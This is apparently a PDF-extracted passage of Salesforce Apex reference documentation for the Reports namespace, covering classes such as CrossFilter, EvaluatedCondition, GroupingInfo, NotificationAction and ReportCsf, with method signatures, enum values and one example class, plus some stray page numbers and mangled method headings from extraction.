Type: List<Reports.ReportFilter>
Information about how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.

includesObject
Type: Boolean
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).

primaryEntityField
Type: String
The name of the object on which the cross filter is evaluated.

relatedEntity
Type: String
The name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.

relatedEntityJoinField
Type: String
The name of the field used to join the primaryEntityField and relatedEntity.

CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the class’s set methods.

Signature
public CrossFilter()

CrossFilter Methods
The following are methods for CrossFilter.
IN THIS SECTION:

getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary entity is evaluated against.

getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.

getPrimaryEntityField()
Returns the name of the object on which the cross filter is evaluated.

getRelatedEntity()
Returns name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.

getRelatedEntityJoinField()
Returns the name of the field used to join the primaryEntityField and relatedEntity.

setCriteria(criteria)
Specifies how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.

setIncludesObject(includesObject)
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).

setPrimaryEntityField(primaryEntityField)
Specifies the name of the object on which the cross filter is evaluated.

setRelatedEntity(relatedEntity)
Specifies the name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.

setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.

toString()
Returns a string.

getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary entity is evaluated against.

Signature
public List<Reports.ReportFilter> getCriteria()

Return Value
Type: List<Reports.ReportFilter>

getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.

Signature
public Boolean getIncludesObject()
Return Value
Type: Boolean

`getPrimaryEntityField()`
Returns the name of the object on which the cross filter is evaluated.

Signature
`public String getPrimaryEntityField()`

Return Value
Type: String

`getRelatedEntity()`
Returns name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.

Signature
`public String getRelatedEntity()`

Return Value
Type: String

`getRelatedEntityJoinField()`
Returns the name of the field used to join the primaryEntityField and relatedEntity.

Signature
`public String getRelatedEntityJoinField()`

Return Value
Type: String

`setCriteria(criteria)`
Specifies how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.

Signature
`public void setCriteria(List<Reports.ReportFilter> criteria)`

Parameters
`criteria`  
Type: `List<Reports.ReportFilter>`
Return Value
Type: void

**setIncludesObject(includesObject)**
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).

Signature
`public void setIncludesObject(Boolean includesObject)`

Parameters
`includesObject`
Type: Boolean

Return Value
Type: void

**setPrimaryEntityField(primaryEntityField)**
Specifies the name of the object on which the cross filter is evaluated.

Signature
`public void setPrimaryEntityField(String primaryEntityField)`

Parameters
`primaryEntityField`
Type: String

Return Value
Type: void

**setRelatedEntity(relatedEntity)**
Specifies the name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.

Signature
`public void setRelatedEntity(String relatedEntity)`

Parameters
`relatedEntity`
Type: String
setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.

Signature
public void setRelatedEntityJoinField(String relatedEntityJoinField)

Parameters
relatedEntityJoinField
  Type: String

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()

Return Value
Type: String

CsfGroupType Enum
The group level at which the custom summary format aggregate is displayed in a report.

Enum Values
The following are the values of the Reports.CsfGroupType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ALL</td>
<td>The aggregate is displayed at the end of every summary row.</td>
</tr>
<tr>
<td>CUSTOM</td>
<td>The aggregate is displayed at specified grouping levels.</td>
</tr>
<tr>
<td>GRAND_TOTAL</td>
<td>The aggregate is displayed only at the grand total level.</td>
</tr>
</tbody>
</table>
DateGranularity Enum

The `Reports.DateGranularity` enum describes the date interval that is used for grouping.

Namespace

`Reports`

Usage

The `GroupingInfo.getDateGranularity` method returns a `Reports.DateGranularity` enum value. The `GroupingInfo.setDateGranularity` method takes the enum value as an argument.

Enum Values

The following are the values of the `Reports.DateGranularity` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>DAY</td>
<td>The day of the week (Monday–Sunday)</td>
</tr>
<tr>
<td>DAY_IN_MONTH</td>
<td>The day of the month (1–31)</td>
</tr>
<tr>
<td>FISCAL_PERIOD</td>
<td>The fiscal period</td>
</tr>
<tr>
<td>FISCAL_QUARTER</td>
<td>The fiscal quarter</td>
</tr>
<tr>
<td>FISCAL_WEEK</td>
<td>The fiscal week</td>
</tr>
<tr>
<td>FISCAL_YEAR</td>
<td>The fiscal year</td>
</tr>
<tr>
<td>MONTH</td>
<td>The month (January–December)</td>
</tr>
<tr>
<td>MONTH_IN_YEAR</td>
<td>The month number (1–12)</td>
</tr>
<tr>
<td>NONE</td>
<td>No date grouping</td>
</tr>
<tr>
<td>QUARTER</td>
<td>The quarter number (1–4)</td>
</tr>
<tr>
<td>WEEK</td>
<td>The week number (1–52)</td>
</tr>
<tr>
<td>YEAR</td>
<td>The year number (###)</td>
</tr>
</tbody>
</table>

DetailColumn Class

Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.

Namespace

`Reports`

DetailColumn Instance Methods

The following are instance methods for `DetailColumn`. All are instance methods.
IN THIS SECTION:

- **getName()**
  Returns the unique API name of the detail column field.

- **getLabel()**
  Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed data.

- **getDataType()**
  Returns the data type of a detail column field.

**getName()**
Returns the unique API name of the detail column field.

Syntax

```java
public String getName()
```

Return Value
Type: String

**getLabel()**
Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed data.

Syntax

```java
public String getLabel()
```

Return Value
Type: String

**getDataType()**
Returns the data type of a detail column field.

Syntax

```java
public Reports.ColumnDataType getDataType()
```

Return Value
Type: Reports.ColumnDataType

**Dimension Class**
Contains information for each row or column grouping.
Namespace

Reports

Dimension Methods

The following are methods for Dimension. All are instance methods.

IN THIS SECTION:

getGroupings()

Returns information for each row or column grouping as a list.

getGroupings()

Returns information for each row or column grouping as a list.

Syntax

public List<Reports.GroupingValue> getGroupings()

Return Value

Type: List<Reports.GroupingValue>

EvaluatedCondition Class

Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the operator, and the value that the aggregate is compared to.

Namespace

Reports

IN THIS SECTION:

EvaluatedCondition Constructors

EvaluatedCondition Methods

EvaluatedCondition Constructors

The following are constructors for EvaluatedCondition.

IN THIS SECTION:

EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue, displayCompareTo, displayValue, operator)

Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.
EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue, displayCompareTo, displayValue, operator)

Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.

Signature

public EvaluatedCondition(String aggregateName, String aggregateLabel, Double compareToValue, Double aggregateValue, String displayCompareTo, String displayValue, Reports.EvaluatedConditionOperator operator)

Parameters

aggregateName
Type: String
The unique API name of the aggregate.

aggregateLabel
Type: String
The localized display name of the aggregate.

compareToValue
Type: Double
The value that the aggregate is compared to in the condition.

aggregateValue
Type: Double
The actual value of the aggregate when the report is run.

displayCompareTo
Type: String
The value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency is $20.00 or USD20.00 instead of 20.00.

displayValue
Type: String
The value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00 or USD20.00 instead of 20.00.

operator
Type: Reports.EvaluatedConditionOperator
The operator used in the condition.

EvaluatedCondition Methods

The following are methods for EvaluatedCondition.

IN THIS SECTION:

getAggregateLabel()
Returns the localized display name of the aggregate.
getAggregateName()
Returs the unique API name of the aggregate.

getCompareTo()
Returns the value that the aggregate is compared to in the condition.

displayCompareTo()
Returns the value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency is $20.00 or USD20.00 instead of 20.00.

displayValue()
Returns the value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00 or USD20.00 instead of 20.00.

getOperator()
Returns the operator used in the condition.

getValue()
Returns the actual value of the aggregate when the report is run.

getAggregateLabel()
Returns the localized display name of the aggregate.

Signature

public String getAggregateLabel()

Return Value
Type: String

getAggregateName()
Returns the unique API name of the aggregate.

Signature

public String getAggregateName()

Return Value
Type: String

getCompareTo()
Returns the value that the aggregate is compared to in the condition.

Signature

public Double getCompareTo()
Return Value
Type: Double

**getDisplayCompareTo()**
Returns the value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency is $20.00 or USD20.00 instead of 20.00.

Signature
```java
public String getDisplayCompareTo()
```

Return Value
Type: String

**getDisplayValue()**
Returns the value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00 or USD20.00 instead of 20.00.

Signature
```java
public String getDisplayValue()
```

Return Value
Type: String

**getOperator()**
Returns the operator used in the condition.

Signature
```java
public Reports.EvaluatedConditionOperator getOperator()
```

Return Value
Type: `Reports.EvaluatedConditionOperator`

**getValue()**
Returns the actual value of the aggregate when the report is run.

Signature
```java
public Double getValue()
```
EvaluatedConditionOperator Enum

The `Reports.EvaluatedConditionOperator` enum describes the type of operator used to compare an aggregate to a value. It is returned by the `getOperator` method.

Namespace

Reports

Enum Values

The following are the values of the `Reports.EvaluatedConditionOperator` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EQUAL</td>
<td>Equality operator.</td>
</tr>
<tr>
<td>GREATER_THAN</td>
<td>Greater than operator.</td>
</tr>
<tr>
<td>GREATER_THAN_EQUAL</td>
<td>Greater than or equal to operator.</td>
</tr>
<tr>
<td>LESS_THAN</td>
<td>Less than operator.</td>
</tr>
<tr>
<td>LESS_THAN_EQUAL</td>
<td>Less than or equal to operator.</td>
</tr>
<tr>
<td>NOT_EQUAL</td>
<td>Inequality operator.</td>
</tr>
</tbody>
</table>

FilterOperator Class

Contains information about a filter operator, such as display name and API name.

Namespace

Reports

FilterOperator Methods

The following are methods for `FilterOperator`. All are instance methods.

IN THIS SECTION:

- `getLabel()`
  Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered.
getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered. For example multipicklist fields can use the following filter operators: “equals,” “not equal to,” “includes,” and “excludes.” Bucket fields are considered to be of the String type.

g.getLabel()
Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered.

Syntax
public String getLabel()

Return Value
Type: String

g.getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column being filtered. For example multipicklist fields can use the following filter operators: “equals,” “not equal to,” “includes,” and “excludes.” Bucket fields are considered to be of the String type.

Syntax
public String getName()

Return Value
Type: String

FilterValue Class
Contains information about a filter value, such as the display name and API name.

Namespace
Reports

FilterValue Methods
The following are methods for FilterValue. All are instance methods.

IN THIS SECTION:
  g.getLabel()
  Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.
getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.

getLabel()
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.

Syntax
public String getLabel()

Return Value
Type: String

getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column being filtered.

Syntax
public String getName()

Return Value
Type: String

FormulaType Enum
The format of the numbers in a custom summary formula.

Enum Values
The following are the values of the Reports.FormulaType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CURRENCY</td>
<td>Formatted as currency. For example, $100.00.</td>
</tr>
<tr>
<td>NUMBER</td>
<td>Formatted as numbers. For example, 100.</td>
</tr>
<tr>
<td>PERCENT</td>
<td>Formatted as percentages. For example, 100%.</td>
</tr>
</tbody>
</table>

GroupingColumn Class
Contains methods for describing fields that are used for column grouping.
Namespace

Reports

The GroupingColumn class provides basic information about column grouping fields. The GroupingInfo class includes additional methods for describing and updating grouping fields.

GroupingColumn Methods

The following are methods for GroupingColumn. All are instance methods.

IN THIS SECTION:

getName()
Returns the unique API name of the field or bucket field that is used for column grouping.

getLabel()
Returns the localized display name of the field that is used for column grouping.

dataType()
Returns the data type of the field that is used for column grouping.

getGroupingLevel()
Returns the level of grouping for the column.

getName()
Returns the unique API name of the field or bucket field that is used for column grouping.

Syntax

public String getName()

Return Value

Type: String

g LABEL ()
Returns the localized display name of the field that is used for column grouping.

Syntax

public String getLabel()

Return Value

Type: String

dataType()
Returns the data type of the field that is used for column grouping.

Syntax

public String getDataType()

Return Value

Type: String

g GroupingLevel ()
Returns the level of grouping for the column.
Syntax

```java
public Reports.ColumnDataType getDataType()
```

Return Value
Type: `Reports.ColumnDataType`

```java
public Integer getGroupingLevel()
```

Return Value
Type: `Integer`

Usage
- In a summary report, 0, 1, or 2 indicates grouping at the first, second, or third row level.
- In a matrix report, 0 or 1 indicates grouping at the first or second row or column level.

**GroupingInfo Class**
Contains methods for describing fields that are used for grouping.

**Namespace**
`Reports`

**GroupingInfo Methods**
The following are methods for `GroupingInfo`. All are instance methods.

**IN THIS SECTION:**
- `getName()`
  Returns the unique API name of the field or bucket field that is used for row or column grouping.
- `getSortOrder()`
  Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).
- `getDateGranularity()`
  Returns the date interval that is used for row or column grouping.
- `getSortAggregate()`
  Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a grouping is not sorted by a summary field.
getName()
Returns the unique API name of the field or bucket field that is used for row or column grouping.

Syntax
public String getName()

Return Value
Type: String

gSortOrder()
Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).

Syntax
public Reports.ColumnSortOrder getSortOrder()

Return Value
Type: Reports.ColumnSortOrder

gDateGranularity()
Returns the date interval that is used for row or column grouping.

Syntax
public Reports.DateGranularity getDateGranularity()

Return Value
Type: Reports.DateGranularity

gSortAggregate()
Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a grouping is not sorted by a summary field.

Syntax
public String getSortAggregate()

Return Value
Type: String

GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.
Namespace

Reports

GroupingValue Methods

The following are methods for GroupingValue. All are instance methods.

IN THIS SECTION:

getGroupings()  
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.

getKey()  
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each grouping.

getLabel()  
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.

getValue()  
Returns the value of the field that is used as a row or column grouping.

groupings()

Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.

Syntax

public LIST<Reports.GroupingValue> getGroupings()

Return Value

Type: List<Reports.GroupingValue>

gKey()  
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each grouping.

Syntax

public String getKey()

Return Value

Type: String

getLabel()  
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.
Syntax

public String getLabel()

Return Value
Type: String

getValue()

Returns the value of the field that is used as a row or column grouping.

Syntax

public Object getValue()

Return Value
Type: Object

Usage

The value depends on the field's data type.

- Currency fields:
  - amount: Of type currency. A data cell's value.
  - currency: Of type picklist. The ISO 4217 currency code, if available; for example, USD for US dollars or CNY for Chinese yuan.
    (If the grouping is on the converted currency, this value is the currency code for the report and not for the record.)
- Picklist fields: API name. For example, a custom picklist field—Type of Business with values 1, 2, and 3 for Consulting, Services, and Add-On Business respectively—has 1, 2, or 3 as the grouping value.
- ID fields: API name.
- Record type fields: API name.
- Date and time fields: Date or time in ISO-8601 format.
- Lookup fields: Unique API name. For example, for the Opportunity Owner lookup field, the ID of each opportunity owner's Chatter profile page can be a grouping value.

NotificationAction Interface

Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.

Namespace

Reports

Usage

Report notifications for reports that users have subscribed to can trigger a custom Apex class, which must implement the Reports.NotificationAction interface. The execute method in this interface receives a
NotificationActionContext object as a parameter, which contains information about the report instance and the conditions that must be met for a notification to be triggered.

IN THIS SECTION:
- NotificationAction Methods
- NotificationAction Example Implementation

NotificationAction Methods
The following are methods for NotificationAction.

IN THIS SECTION:
- execute(context)

execute(context)
Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext. The object contains information about the report instance and the conditions that must be met for a notification to be triggered. The method executes whenever the specified conditions are met.

Signature
public void execute(Reports.NotificationActionContext context)

Parameters
context
Type: Reports.NotificationActionContext

Return Value
Type: Void

NotificationAction Example Implementation
This is an example implementation of the Reports.NotificationAction interface.

```java
public class AlertOwners implements Reports.NotificationAction {
    public void execute(Reports.NotificationActionContext context) {
        Reports.ReportResults results = context.getReportInstance().getReportResults();
        for (Reports.GroupingValue g: results.getGroupingsDown().getGroupings()) {
            FeedItem t = new FeedItem();
            t.ParentId = (Id)g.getValue();
            t.Body = 'This record needs attention. Please view the report.';
            t.Title = 'Needs Attention: ' + results.getReportMetadata().getName();
        }
    }
}
```

2800
**NotificationActionContext Class**

Contains information about the report instance and condition threshold for a report notification.

**Namespace**

*Reports*

**IN THIS SECTION:**
- **NotificationActionContext Constructors**
- **NotificationActionContext Methods**

**NotificationActionContext Constructors**

The following are constructors for `NotificationActionContext`.

**IN THIS SECTION:**
- **NotificationActionContext(reportInstance, thresholdInformation)**
  
  Creates a new instance of the `Reports.NotificationActionContext` class using the specified parameters.

**NotificationActionContext(reportInstance, thresholdInformation)**

Creates a new instance of the `Reports.NotificationActionContext` class using the specified parameters.

**Signature**

```java
public NotificationActionContext(Reports.ReportInstance reportInstance,
                            Reports.ThresholdInformation thresholdInformation)
```

**Parameters**

- **reportInstance**
  
  Type: `Reports.ReportInstance`
  
  An instance of a report.

- **thresholdInformation**
  
  Type: `Reports.ThresholdInformation`
  
  The evaluated conditions for the notification.

**NotificationActionContext Methods**

The following are methods for `NotificationActionContext`.

```java
    t.LinkUrl = '/' + results.getReportMetadata().getId();
    insert t;
    }
    }
}
IN THIS SECTION:

getReportInstance()
Returns the report instance associated with the notification.

getThresholdInformation()
Returns the threshold information associated with the notification.

getReportInstance()
Returns the report instance associated with the notification.

Signature
public Reports.ReportInstance getReportInstance()

Return Value
Type: Reports.ReportInstance

getThresholdInformation()
Returns the threshold information associated with the notification.

Signature
public Reports.ThresholdInformation getThresholdInformation()

Return Value
Type: Reports.ThresholdInformation

ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).

Namespace
Reports

IN THIS SECTION:
ReportCsf Constructors
ReportCsf Methods

ReportCsf Constructors
The following are constructors for ReportCsf.
IN THIS SECTION:

    ReportCsf(label, description, formulaType, decimalPlaces, downGroup, downGroupType, acrossGroup, acrossGroupType, formula)

Creates an instance of the Reports.ReportCsf class using the specified parameters.

    ReportCsf()

Creates an instance of the Reports.ReportCsf class. You can then set values by using the class's set methods.

ReportCsf(label, description, formulaType, decimalPlaces, downGroup, downGroupType, acrossGroup, acrossGroupType, formula)

Creates an instance of the Reports.ReportCsf class using the specified parameters.

Signature

    public ReportCsf(String label, String description, Reports.FormulaType formulaType, Integer decimalPlaces, String downGroup, Reports.CsfGroupType downGroupType, String acrossGroup, Reports.CsfGroupType acrossGroupType, String formula)

Parameters

    label
      Type: String
      The user-facing name of the custom summary formula.

    description
      Type: String
      The user-facing description of the custom summary formula.

    formulaType
      Type: Reports.FormulaType
      The format of the numbers in the custom summary formula.

    decimalPlaces
      Type: Integer
      The number of decimal places to include in numbers.

    downGroup
      Type: String
      The name of a row grouping when the downGroupType is CUSTOM; null otherwise.

    downGroupType
      Type: Reports.CsfGroupType
      Where to display the aggregate of the custom summary formula.

    acrossGroup
      Type: String
      The name of a column grouping when the acrossGroupType is CUSTOM; null otherwise.

    acrossGroupType
      Type: Reports.CsfGroupType
      Where to display the aggregate of the custom summary formula.
Formula
   Type: String
   The operations performed on values in the custom summary formula.

ReportCsf()
Creates an instance of the Reports.ReportCsf class. You can then set values by using the class's set methods.

Signature
   public ReportCsf()

ReportCsf Methods
The following are methods for ReportCsf.

IN THIS SECTION:
   getAcrossGroup()
   Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.
   getAcrossGroupType()
   Returns where to display the aggregate.
   getDecimalPlaces()
   Returns the number of decimal places that numbers in the custom summary formula have.
   getDescription()
   Returns the user-facing description of a custom summary formula.
   getDownGroup()
   Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.
   getDownGroupType()
   Returns where to display the aggregate of the custom summary formula.
   getFormula()
   Returns the operations performed on values in the custom summary formula.
   getFormulaType()
   Returns the formula type.
   getLabel()
   Returns the user-facing name of the custom summary formula.
   setAcrossGroup(acrossGroup)
   Specifies the column for the across grouping.
   setAcrossGroupType(value)
   Sets where to display the aggregate.
   setAcrossGroupType(acrossGroupType)
   Sets where to display the aggregate.
   setDecimalPlaces(decimalPlaces)
   Sets the number of decimal places in numbers.
setDescription(description)
Sets the user-facing description of the custom summary formula.

setDownGroup(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.

setDownGroupType(value)
Sets where to display the aggregate.

setFormula(formula)
Sets the operations to perform on values in the custom summary formula.

setFormulaType(value)
Sets the format of the numbers in the custom summary formula.

setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.

setLabel(label)
Sets the user-facing name of the custom summary formula.

toString()
Returns a string.

getAcrossGroup()
Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.

Signature
public String getAcrossGroup()

Return Value
Type: String

getAcrossGroupType()
Returns where to display the aggregate.

Signature
public Reports.CsfGroupType getAcrossGroupType()

Return Value
Type: Reports.CsfGroupType

getDecimalPlaces()
Returns the number of decimal places that numbers in the custom summary formula have.

2805
public Integer getDecimalPlaces()

Return Value
Type: Integer

gDescription()
Returns the user-facing description of a custom summary formula.

Signature
public String getDescription()

Return Value
Type: String

gDownGroup()
Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.

Signature
public String getDownGroup()

Return Value
Type: String

gDownGroupType()
Returns where to display the aggregate of the custom summary formula.

Signature
public Reports.CsfGroupType getDownGroupType()

Return Value
Type: Reports.CsfGroupType

getFormula()
Returns the operations performed on values in the custom summary formula.

Signature
public String getFormula()
Return Value
Type: String

getFormulaType()
Returns the formula type.

Signature
public Reports.FormulaType getFormulaType()

Return Value
Type: Reports.FormulaType

getLabel()
Returns the user-facing name of the custom summary formula.

Signature
public String getLabel()

Return Value
Type: String

setAcrossGroup(acrossGroup)
Specifies the column for the across grouping.

Signature
public void setAcrossGroup(String acrossGroup)

Parameters
acrossGroup
  Type: String

Return Value
Type: void

setAcrossGroupType(value)
Sets where to display the aggregate.

Signature
public void setAcrossGroupType(String value)
Parameters

value
  Type: String
  For possible values, see Reports.CsfGroupType.

Return Value
Type: void

setAcrossGroupType(acrossGroupType)
Sets where to display the aggregate.

Signature
public void setAcrossGroupType(Reports.CsfGroupType acrossGroupType)

Parameters
acrossGroupType
  Type: Reports.CsfGroupType

Return Value
Type: void

setDecimalPlaces(decimalPlaces)
Sets the number of decimal places in numbers.

Signature
public void setDecimalPlaces(Integer decimalPlaces)

Parameters
decimalPlaces
  Type: Integer

Return Value
Type: void

setDescription(description)
Sets the user-facing description of the custom summary formula.

Signature
public void setDescription(String description)
Parameters
description
  Type: String

Return Value
Type: void

**setDownGroup**(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.

Signature
```
public void setDownGroup(String downGroup)
```

Parameters
downGroup
  Type: String

Return Value
Type: void

**setDownGroupType**(value)
Sets where to display the aggregate.

Signature
```
public void setDownGroupType(String value)
```

Parameters
value
  Type: String
  For valid values, see Reports.CsfGroupType.

Return Value
Type: void

**setDownGroupType**(downGroupType)
Sets where to display the aggregate.

Signature
```
public void setDownGroupType(Reports.CsfGroupType downGroupType)
```

2809
Parameters

downGroupType
    Type: Reports.CsfGroupType

Return Value
Type: void

setFormula(formula)
Sets the operations to perform on values in the custom summary formula.

Signature
public void setFormula(String formula)

Parameters

formula
    Type: String

Return Value
Type: void

setFormulaType(value)
Sets the format of the numbers in the custom summary formula.

Signature
public void setFormulaType(String value)

Parameters

value
    Type: String
    For valid values, see Reports.FormulaType.

Return Value
Type: void

setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.

Signature
public void setFormulaType(Reports.FormulaType formulaType)
Parameters

`formulaType`
Type: `Reports.FormulaType`

Return Value
Type: `void`

`setLabel(label)`
Sets the user-facing name of the custom summary formula.

Signature
```java
public void setLabel(String label)
```

Parameters

`label`
Type: `String`

Return Value
Type: `void`

`toString()`
Returns a string.

Signature
```java
public String toString()
```

ReportCurrency Class
Contains information about a currency value, including the amount and currency code.

Namespace
`Reports`

ReportCurrency Methods
The following are methods for `ReportCurrency`. All are instance methods.
IN THIS SECTION:

getAmount()
Returns the amount of the currency value.

currencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is `null` if the organization does not have multicurrency enabled.

getAmount()
Returns the amount of the currency value.

Syntax

```java
public Decimal getAmount()
```

Return Value

Type: `Decimal`

currencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is `null` if the organization does not have multicurrency enabled.

Syntax

```java
public String getCurrencyCode()
```

Return Value

Type: `String`

ReportDataCell Class

Contains the data for a cell in the report, including the display label and value.

Namespace

`Reports`

ReportDataCell Methods

The following are methods for `ReportDataCell`. All are instance methods.

IN THIS SECTION:

getLabel()
Returns the localized display name of the value of a specified cell in the report.
getValue()
Returns the value of a specified cell of a detail row of a report.

getLabel()
Returns the localized display name of the value of a specified cell in the report.

Syntax
public String getLabel()

Return Value
Type: String

getValue()
Returns the value of a specified cell of a detail row of a report.

Syntax
public Object getValue()

Return Value
Type: Object

ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.

Namespace
Reports

ReportDescribeResult Methods
The following are methods for ReportDescribeResult. All are instance methods.

IN THIS SECTION:
  getReportExtendedMetadata()
  Returns additional information about grouping and summaries.
  getReportMetadata()
  Returns unique identifiers for groupings and summaries.
  getReportTypeMetadata()
  Returns the fields in each section of a report type, plus filtering information for those fields.
getReportExtendedMetadata()
Returns additional information about grouping and summaries.

Syntax
public Reports.ReportExtendedMetadata getReportExtendedMetadata()

Return Value
Type: Reports.ReportExtendedMetadata

getReportMetadata()
Returns unique identifiers for groupings and summaries.

Syntax
public Reports.ReportMetadata getReportMetadata()

Return Value
Type: Reports.ReportMetadata

getReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.

Syntax
public Reports.ReportTypeMetadata getReportTypeMetadata()

Return Value
Type: Reports.ReportTypeMetadata

ReportDetailRow Class
Contains data cells for a detail row of a report.

Namespace
Reports

ReportDetailRow Methods
The following are methods for ReportDetailRow. All are instance methods.
IN THIS SECTION:

getDataCells()
Returns a list of data cells for a detail row.

dataGetCells()
Returns a list of data cells for a detail row.

Syntax
public List<Reports.ReportDataCell> getDataCells()

Return Value
Type: List<Reports.ReportDataCell>

ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.
Available only if your organization uses divisions to segment data and you have the “Affected by Divisions” permission. If you do not have the “Affected by Divisions” permission, your reports include records in all divisions.

Namespace
Reports

Usage
Use to filter records in the report based on a division, like West Coast and East Coast.

ReportDivisionInfo Methods
The following are methods for ReportDivisionInfo.

defaultGetValues()
Returns the default division for the report.

Signature
public String getDefaultValues()

Return Value
Type: String

defGetValues()
Returns a list of all possible divisions for the report.
public List<Reports.FilterValue> getValues()

Return Value
Type: List<Reports.FilterValue>

ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.

Namespace
Reports
Report extended metadata provides additional, detailed metadata about summary and grouping fields, including data type and label information.

ReportExtendedMetadata Methods
The following are methods for ReportExtendedMetadata. All are instance methods.

IN THIS SECTION:
getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains values for each summary that is listed in the report metadata.

getDetailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are also listed in the report metadata.

getGroupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the groupingsDown and groupingsAcross lists.

getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains values for each summary that is listed in the report metadata.

Syntax
public MAP<String,Reports.AggregateColumn> getAggregateColumnInfo()

Return Value
Type: Map<String,Reports.AggregateColumn>
getDetailColumnInfo()  
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are also listed in the report metadata.

Syntax
```java
public Map<String, Reports.DetailColumn> getDetailColumnInfo()
```

Return Value
Type: `Map<String, Reports.DetailColumn>`

groupingColumnInfo()  
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the groupingsDown and groupingsAcross lists.

Syntax
```java
public Map<String, Reports.GroupingColumn> getGroupingColumnInfo()
```

Return Value
Type: `Map<String, Reports.GroupingColumn>`

ReportFact Class  
Contains the fact map for the report, which represents the report’s data values.

Namespace
Reports

Usage
ReportFact is the parent class of ReportFactWithDetails and ReportFactWithSummaries. If `includeDetails` is `true` when the report is run, the fact map is a ReportFactWithDetails object. If `includeDetails` is `false` when the report is run, the fact map is a ReportFactWithSummaries object.

ReportFact Methods
The following are methods for ReportFact. All are instance methods.

IN THIS SECTION:

getAggregates()  
Returns summary-level data for a report, including the record count.
**getKey()**
